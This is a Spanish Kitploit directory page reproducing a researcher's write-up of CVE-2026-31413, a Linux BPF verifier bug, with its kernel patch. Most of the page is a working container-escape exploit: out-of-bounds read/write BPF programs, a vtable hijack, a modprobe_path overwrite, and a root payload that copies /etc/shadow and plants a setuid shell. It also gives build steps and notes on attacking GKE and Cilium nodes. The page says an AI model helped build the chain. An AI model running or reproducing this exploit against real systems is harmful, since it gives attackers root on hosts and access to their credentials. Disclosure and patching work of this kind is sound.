Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413: Bug de solidez del verificador de BPF - escape de contenedor | Kitploit
Herramientas/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPapers e InvestigaciónAprendizaje y EducaciónEscape de ContenedoresExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413: Bug de solidez del verificador de BPF - escape de contenedor

Ver Repositorio
11hace 4 mesesAún no revisado

CVE-2026-31413: Un Byte en el Verificador BPF para Escape de Contenedor

Encontré un bug de solidez en el verificador BPF de Linux: un + 1 en una llamada push_stack() que hace que el verificador omita una instrucción ALU en una ruta bifurcada. Para BPF_OR, esto significa que el verificador rastrea dst = 0 mientras la CPU computa 0 | K = K. Escribí un escape completo de contenedor: lectura/escritura fuera de límites desde un mapa BPF, secuestro de vtable, sobrescritura de modprobe_path, root en el host. Luego redacté una serie de dos parches: una corrección de un carácter en el verificador y 90 líneas de selftests, y la fusioné en mainline.

📹 Video de demo de escape de contenedor

CVECVE-2026-31413
Clase de bugSolidez del verificador - divergencia de valor de registro
Causa raízpush_stack(env, env->insn_idx + 1, ...) omite la instrucción ALU en la ruta bifurcada
Introducidobffacdb80b93 - Linux 7.0-rc1 (14 de enero de 2026)
Corregidoc845894ebd6f - Linux 7.0-rc5 (22 de marzo de 2026)
Afectado6.12.75+ (backport estable dea9989a3f) hasta 7.0-rc4
ImpactoR/W arbitrario del kernel → escape de contenedor → root del host
RequiereCAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
CorrecciónUn carácter: insn_idx + 1 → insn_idx

TL;DR

maybe_fork_scalars() bifurca el estado del verificador cuando ve ARSH + AND/OR con una constante. La ruta insertada recibe dst = 0 y omite la instrucción ALU. Para AND está bien: 0 & K = 0. Para OR es incorrecto: 0 | K = K, no 0.

El verificador cree que el registro es cero. La CPU tiene K. Usé esto para construir lectura/escritura fuera de límites arbitraria desde un valor de mapa BPF, filtré la dirección del kernel del mapa, construí una vtable falsa de bpf_map_ops, redirigí map_push_elem a través de array_map_get_next_key para escritura arbitraria, y sobrescribí modprobe_path. Activar un formato binario desconocido, el kernel ejecuta mi script como root. Dentro de un contenedor, escape completo del host.

Serie de dos parches: una corrección de un carácter en el verificador más 90 líneas de selftests BPF cubriendo la bifurcación de OR frente a AND. Fusionado por Alexei Starovoitov el 22 de marzo. CVE-2026-31413 asignado por Greg Kroah-Hartman el 12 de abril.


Antecedentes: El Verificador BPF

eBPF permite cargar pequeños programas en el kernel —filtros de paquetes, hooks de rastreo, políticas de seguridad— sin compilar un módulo del kernel. La trampa es que estás inyectando código en anillo 0. Si ese código tiene un bug, es un bug del kernel.

Por lo tanto, antes de que cualquier programa BPF se ejecute, el verificador del kernel simula cada posible ruta de ejecución. Rastrea lo que contiene cada registro (¿un puntero? ¿un escalar? ¿qué rango?), verifica cada acceso a memoria contra los límites del mapa, y rechaza cualquier cosa que pueda leer o escribir fuera de límites. Si el verificador dice que un programa es seguro, el JIT lo compila a código máquina nativo y lo ejecuta con privilegios completos del kernel. No hay comprobaciones de límites en tiempo de ejecución después de ese punto. El verificador es el límite de seguridad.

Esta es la razón por la que los bugs de solidez del verificador son diferentes de la corrupción de memoria normal. Con un desbordamiento de heap o UAF, obtienes una primitiva de corrupción y tienes que trabajar desde ahí —esparcir el heap, preparar objetos, competir por una ventana. Con un bug del verificador, consigues que el kernel crea una mentira sobre el valor de un registro. Todas las comprobaciones de límites que dependen de ese registro pasan. El kernel aprueba tu acceso fuera de límites. Lo ejecuta sin dudar. Si puedes alinear correctamente el estado del registro, obtienes una primitiva limpia y confiable a partir de ello.

Cómo lo Encontré

Estaba auditando maybe_fork_scalars() —código nuevo, añadido en enero de 2026 en bffacdb80b93. La bifurcación de estado siempre es interesante porque es donde el verificador se divide en rutas de exploración paralelas, y si alguna ruta rastrea un valor incorrecto, todo lo que está aguas abajo de esa ruta es inseguro.

La función bifurca cuando ve ARSH + AND/OR con una fuente constante. La ruta insertada recibe dst = 0, omite la instrucción ALU. Estaba leyendo la línea push_stack(env, env->insn_idx + 1, ...) y me di cuenta de inmediato: el + 1 significa que la ruta insertada nunca ejecuta la operación ALU. Para AND, 0 & K = 0, por lo que omitir está bien. Para OR, 0 | K = K. La ruta insertada piensa que el resultado es 0 cuando en realidad es K.

Escribí un programa BPF esa misma noche. ARSH 63 para obtener {0, -1}, OR con una constante, bifurcación condicional para separar las rutas del verificador, luego sumé el registro "cero" a un puntero de mapa. El verificador aprobó map_value + 0. La CPU accedió a map_value + K. KASAN confirmó el acceso fuera de límites en las pruebas.

Lectura/escritura fuera de límites a la mañana siguiente. Escape de contenedor a la noche siguiente. Usé Claude (Opus 4.5) en todo momento —para analizar la lógica de bifurcación de estado del verificador, generar ideas sobre primitivas de explotación y convertir el OOB en una cadena de escape completa. El enfoque de secuestro de vtable surgió de un intercambio en el que Claude examinó los punteros de función de bpf_map_ops buscando gadgets invocables.

El Commit que Introdujo el Bug

El commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") llegó el 14 de enero de 2026 en 7.0-rc1. Alexei Starovoitov, co-desarrollado por Puranjay Mohan. Añadió maybe_fork_scalars() para manejar un patrón LLVM DAGCombiner:``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM reduce `select_cc setlt X, 0, A, 0` a `sra + and`. Después del desplazamiento aritmético a la derecha, el registro es `0` (entrada no negativa) o `-1` (todos unos). AND con una constante da `0` o `K`.

El verificador no puede rastrear `{0, K}` en un solo `bpf_reg_state` - su rango con signo `[0, K]` sobre-aproxima, y eso causaba que rechazara programas Cilium válidos. La solución: bifurcar el estado del verificador. Un camino explora `dst = 0`, el otro `dst = -1`, cada uno rastreando el valor preciso.

La implementación:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

Dos cosas suceden en la ruta empujada:

  1. El registro de destino se establece a 0
  2. La ejecución se reanuda en insn_idx + 1 - la instrucción después de la operación ALU

Para BPF_AND: dst = 0, omitir el AND. Tiempo de ejecución: 0 & K = 0. Coincidencia. Correcto.

Para BPF_OR: dst = 0, omitir el OR. Tiempo de ejecución: 0 | K = K. Desajuste. El verificador ve 0. La CPU tiene K. Incorrecto.

La función no verifica el código de operación. Fue escrita para AND - donde omitir la instrucción es lo mismo que ejecutarla con dst = 0 - y se aplicó también a OR. Para OR, esa equivalencia no se cumple.

Desencadenando la Divergencia

El patrón de activación es de cinco instrucciones:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
El verificador explora dos caminos:

**Ruta actual** (`dst = -1`): Se ejecuta el OR, `-1 | K` sigue siendo `-1`. La
rama `r6 s< 0` se toma. El verificador sigue la salida. Este camino es seguro y
el verificador lo confirma.

**Ruta apilada** (`dst = 0`, OR omitido): `r6 = 0`. La rama `r6 s< 0` no se
toma. El verificador cae a `r9 += r6`, ve `r9 += 0`, y aprueba el
acceso a memoria posterior como dentro de límites.

**En tiempo de ejecución** (`dst = 0`, OR se ejecuta): El valor del mapa es positivo, así que después de ARSH,
`r6 = 0`. Se ejecuta el OR: `0 | K = K`. La rama `K s< 0` no se toma (K es
positivo). `r9 += K` – un acceso fuera de límites de `K` bytes, aprobado por el
verificador como `r9 += 0`.

Yo controlo `K`. Lectura o escritura OOB con desplazamiento arbitrario, relativa a cualquier valor de mapa BPF.

La versión de lectura almacena los datos filtrados en un segundo mapa para su recuperación desde espacio de usuario. La versión de escritura carga un valor de un tercer mapa y lo escribe en el desplazamiento OOB. Ambas pasan el verificador.

Aquí está el `oob_read_prog` completo – este es el código real del exploit, no pseudocódigo:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

Y la escritura OOB - mismo truco ARSH+OR, pero escribe un valor de un tercer mapa en el desplazamiento OOB:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
Para activar cualquiera de los programas, lo adjunto a un par de sockets y envío un paquete a través:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

El patrón de negación y suma (R7 = 0 - R6; R8 += R7) nos permite alcanzar desplazamientos negativos desde el valor del mapa - que es donde residen los metadatos propios del mapa.


Explotación: OOB a Escape de Contenedor

La cadena completa:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### El Diseño del Objetivo

Un `BPF_MAP_TYPE_ARRAY` está respaldado por `struct bpf_array`, que incrusta `struct bpf_map` en el offset 0. Los valores reales del mapa comienzan en el offset 264 (después de la cabecera de `bpf_array` + alineación). Así que desde `value[0]`, los metadatos propios del mapa se encuentran en offsets negativos conocidos:```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

Lo verifiqué con pahole en el vmlinux de Docker 6.12.76. En el kernel probado, los desplazamientos coincidieron exactamente.

Paso 1: Fuga de Información

Dos lecturas OOB me dan todo lo que necesito:

wait_list en el desplazamiento -136. Se trata de freeze_mutex.wait_list, un list_head que apunta a sí mismo cuando el mutex no está en disputa. Su valor es &map->freeze_mutex.wait_list - un puntero del kernel dentro de la estructura del mapa. Resta 128 y tengo la dirección base del mapa. Suma 264 y tengo la dirección del kernel de value[0].

ops en el desplazamiento -264. Este es el puntero vtable bpf_map_ops. En un kernel sin modificar apunta al símbolo global array_map_ops. Lo leo para confirmar que el kernel no está parcheado y para obtener la dirección de vtable para clonar.```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
En este punto tengo: la dirección del kernel del mapa, la dirección de mis datos controlados (`value[0]`), y el puntero de vtable confirmado.


### Paso 2: Fake Vtable

`bpf_map_ops` tiene 42 ranuras de punteros a funciones. Si solo pongo a cero las que no necesito, el kernel generará un NULL-deref la primera vez que toque una. Así que resuelvo cada símbolo desde `/proc/kallsyms` y construyo una copia completa:```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

Slot 15 es map_push_elem. En el array_map_ops real esto es NULL (los arrays no soportan push). Lo reemplazo con array_map_get_next_key.

¿Por qué get_next_key? Su firma es:```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
Lee `*(u32 *)key`, lo incrementa, y escribe el resultado en `*(u32
*)next_key`. Cuando se llama a través de la ruta de despacho `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

The flags argument lands in the next_key parameter. If I control flags, I control the write destination. The value written is *(u32 *)value + 1 - a small integer I can predict by setting the first 4 bytes of my push buffer.

Paso 3: Corrupción del mapa

Antes de poder usar la vtable falsa, necesito redirigir el mapa hacia ella y cambiar su tipo para que el kernel realice el dispatch a través de map_push_elem. Tres escrituras OOB, ejecutadas en orden:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
El cambio de tipo es crítico. Cuando el espacio de usuario llama a `bpf(BPF_MAP_UPDATE_ELEM)` en un mapa de array, el kernel despacha a través de `map_update_elem`. Pero en un mapa de cola, la misma llamada al sistema despacha a través de `map_push_elem`, que ahora apunta a `array_map_get_next_key`.

Precargo los seis programas BPF (tres escrituras + tres restauraciones) *antes* de corromper nada. Una vez que corrompo el puntero `ops`, no puedo cargar nuevos programas BPF que referencien este mapa: el verificador seguiría la vtable falsa y colapsaría. Todo debe prepararse con anticipación.

### Paso 4: Escritura arbitraria mediante map_push_elem

Ahora puedo escribir 4 bytes en cualquier dirección del kernel:```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() llama a bpf(BPF_MAP_UPDATE_ELEM) con flags = addr. El kernel despacha a mi map_push_elem secuestrado → array_map_get_next_key(map, push_buf, addr). Lee *(u32 *)push_buf (que es val - 1), suma 1, y escribe val en *(u32 *)addr.

La primitiva de escritura es un almacenamiento u32 de 4 bytes mediante get_next_key. No hay restricciones de alineación: el kernel realiza un *(u32 *)addr = val normal en cualquier dirección que proporcionemos.

Paso 5: Sobrescritura de modprobe_path

modprobe_path es un char[256] global en el kernel, por defecto /sbin/modprobe. Cuando el kernel encuentra un ejecutable con un número mágico desconocido, invoca modprobe_path como root para cargar el módulo apropiado. Sobrescríbelo con una ruta que controlo, dispara un formato binario desconocido, y el kernel ejecuta mi script como root.

La ruta objetivo es /tmpn/mo. No puedo escribir cadenas arbitrarias - escribo 4 bytes a la vez mediante el incremento entero de get_next_key. Pero solo necesito dos escrituras:```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
En modo contenedor, `modprobe_path` se resuelve en el espacio de nombres de montaje de `init`, no en el del contenedor. Por lo tanto, el script de carga útil debe existir en `/tmpn/mo` del host. Con `--pid=host` o un espacio de nombres de PID compartido, accedo al sistema de archivos del host a través de `/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

En un ataque real, el exploit escribe el payload en /tmpn/mo en el host a través de /proc/1/root/tmpn/mo (accesible cuando el pod tiene un espacio de nombres de PID compartido, como es estándar para sidecars de malla de servicios como Cilium y agentes de monitoreo como Falco). La demo simplifica este paso: el orquestador pre-coloca el payload en el host para que el exploit solo necesite desencadenar la ejecución.

El exploit crea el binario desencadenante - 4 bytes de \xff - y lo ejecuta. El kernel no reconoce el formato, busca modprobe_path, encuentra /tmpn/mo, y lo ejecuta como root.

El payload:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### Paso 6: Limpieza

Después de la escritura de `modprobe_path`, restauro el encabezado del mapa - type, max_entries, ops - usando los tres programas de restauración precargados. El mapa vuelve a ser un array normal. Sin vtable falsa colgante, sin inestabilidad del kernel. El exploit es de un solo disparo y deja un estado limpio.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

En mi entorno de demostración, la cadena completa desde la primera lectura OOB hasta la shell root tomó un par de segundos.


Niveles de Exploit

Más allá del escape de contenedor principal, construí una serie de niveles de exploit independientes que demuestran diferentes capacidades de post-explotación desde la misma primitiva. Cada nivel es un archivo C autocontenido en exploit/ que utiliza la biblioteca auxiliar compartida exploit_common.h para la configuración de lectura/escritura OOB ARSH+OR.

Todos los niveles restauran cada modificación antes de salir. Probado en 6.12.76.

Compilación```bash

make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries

root@kitploit:~
O individualmente:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

Cada nivel requiere CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.


Estructura del Repositorio```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---

## Quiénes están afectados

El exploit requiere `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. No obtendrás eso desde un contenedor sin privilegios o una cuenta de usuario normal en un sistema endurecido. Pero hay muchos contextos donde sí tienes esas capacidades.

### Sistemas BPF sin privilegios

Si `kernel.unprivileged_bpf_disabled=0` (compruébalo con `sysctl`), cualquier usuario local puede cargar programas BPF. Solía ser el valor predeterminado en distribuciones antiguas y a veces está habilitado en entornos de desarrollo/pruebas. En esos sistemas, esto es una escalada de privilegios local directa: de cualquier usuario a root, sin permisos especiales necesarios.

La mayoría de las distribuciones modernas vienen con `unprivileged_bpf_disabled=1` o `=2` (bloqueado), por lo que esta vía está cerrada en instalaciones predeterminadas de Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9, etc.

### Entornos Kubernetes / Contenedores

Aquí es donde el error duele. Los contenedores estándar sin privilegios eliminan `CAP_BPF`, por lo que no pueden activar el error. Pero muchos pods de infraestructura se ejecutan con capacidades elevadas:

| Producto | Privilegios predeterminados | Notas |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Política de red, se ejecuta en cada nodo |
| **Falco** | `privileged: true` | Seguridad en tiempo de ejecución, monta /dev |
| **Tetragon** | `privileged: true` | Observabilidad eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 más | Métricas, logs, APM |
| **Pixie** | `privileged: true` | Observabilidad basada en eBPF |
| **Tracee** | `privileged: true` o capacidades BPF | Seguridad en tiempo de ejecución de Aqua |

Estos típicamente se ejecutan como DaemonSets - un pod por nodo, en todo el clúster. Si un atacante compromete cualquiera de estos pods (RCE en un servicio web en el mismo nodo, ataque a la cadena de suministro, SSRF hacia una API de agente, etc.), tiene las capacidades necesarias para ejecutar este exploit y escapar a root del host.

**Advertencia importante:** El exploit solo funciona en kernels que contienen el código vulnerable (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 a rc4). La mayoría de los clústeres K8s de producción ejecutan kernels LTS más antiguos. Verifica la versión del kernel de tu nodo con `uname -r` antes de asumir que es explotable.

Desde root del host en un nodo, el movimiento lateral a otros nodos suele ser posible a través del mismo DaemonSet (cuentas de servicio compartidas, secretos montados, etc.).

### Kubernetes administrado (GKE, EKS, AKS)

Google GKE usa Cilium como Dataplane V2 por defecto. Si los nodos de GKE ejecutan un kernel 6.12.x sin parche (verifica la versión de tu pool de nodos), cualquier compromiso de un pod de Cilium se convierte en root del host y toma de control del nodo. Construí el exploit específicamente para este escenario - por eso se llama `exploit_gke.c`.

Amazon EKS y Azure AKS también podrían verse afectados si ejecutan kernels 6.12.x con Cilium o redes similares basadas en BPF. Es necesario verificar las versiones específicas de imágenes AMI/VM.

### Android

Android usa eBPF para contabilidad de tráfico de red (netd), perfilado de energía y seguimiento de memoria. Los dispositivos Android actuales (14/15) usan kernels 6.1 LTS, que **no están afectados**. Android 16 podría adoptar 6.12 LTS - si lo hace, y si se incluye el backport vulnerable, la superficie de ataque serían servicios del sistema como `netd` y `system_server` que cargan programas BPF.

Esto es especulativo y depende de la línea de tiempo de adopción del kernel de Android. Reporté al Android VRP para seguimiento.

### Contenedores con kernel compartido (LXC/LXD)

Los contenedores de sistema que comparten el kernel del host (a diferencia de las VMs) están completamente expuestos. Comprometer el kernel compartido = comprometer el host + todos los demás contenedores en él. Esto es diferente de Docker/containerd donde estás escapando a un host que podría ser a su vez una VM.

### De lo que no escapa

Este es un error del kernel invitado, no una fuga del hipervisor. Si ejecutas el exploit dentro de una instancia EC2, obtienes root en esa instancia - no escapas del hipervisor Nitro al host físico ni a otros inquilinos. Lo mismo para GCE, Azure VMs, KVM, etc. El límite del hardware se mantiene.

### Kernels afectados

| Rama | Afectados | Corregido |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` hasta 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` hasta 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` hasta 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 hasta 7.0-rc4 | 7.0-rc5+ |

Commit de introducción: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit de corrección: `c845894ebd6f`

`CAP_BPF` no es una capacidad segura. Un error del verificador lo convierte en lectura/escritura arbitraria del kernel. Los productos que lo otorgan a pods de carga de trabajo deberían tratarlo como `CAP_SYS_ADMIN`.

---

## La Corrección

Un carácter:```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

En lugar de bifurcar a insn_idx + 1 (saltándose la instrucción ALU), bifurca a insn_idx —la propia instrucción. La ruta bifurcada re-ejecuta la operación ALU con dst = 0:

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

